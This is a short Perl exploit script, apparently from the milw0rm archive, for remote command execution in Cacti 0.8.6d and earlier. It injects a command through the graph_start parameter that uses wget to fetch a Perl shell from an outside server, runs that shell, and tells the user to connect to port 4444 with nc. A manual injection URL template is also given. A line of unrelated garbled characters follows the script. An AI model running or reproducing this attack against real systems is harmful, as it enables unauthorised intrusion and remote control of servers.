# Note: # This exploit contains backdoor shell code that is not located on this server. # /str0ke #!/usr/bin/perl # # Remote Command Execution Exploit for Cacti <= 0.8.6d # # This exploit open a remote shell on the targets that uses Cacti # TARGET HOST MUST BE A GNU/LINUX SERVER, if not: # manual exploiting --> http://www.example.com/cacti/graph_image.php?local_graph_id=[valid_value]&graph_start=%0a[command]%0a # Patch: download the last version http://www.cacti.net/download_cacti.php # Discovered and Coded by Alberto Trivero use LWP::Simple; print "\n\t===============================\n"; print "\t= Exploit for Cacti <= 0.8.6d =\n"; print "\t= by Alberto Trivero =\n"; print "\t===============================\n\n"; if(@ARGV<2 or !($ARGV[1]=~m/\//)) { print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0 www.example.com /cacti/\n"; exit(0); } $page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die "[-] Unable to retrieve: $!"; print "[+] Connected to: $ARGV[0]\n"; $page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for local_graph_id"; print "[~] Sending exploiting request, wait for some seconds/minutes...\n"; get("http://".$ARGV[0].$ARGV[1]."graph_image.php?local_graph_id=$1&graph_start=%0acd /tmp;wget http://server/shell.pl;chmod 777 shell.pl;perl shell.pl%0a"); print "[+] Exploiting request done!\n"; print "[*] Now try on your box: nc -v $ARGV[0] 4444\n"; # milw0rm.com [2005-06-22]

��ֻ�о�Ʒ��Ƶ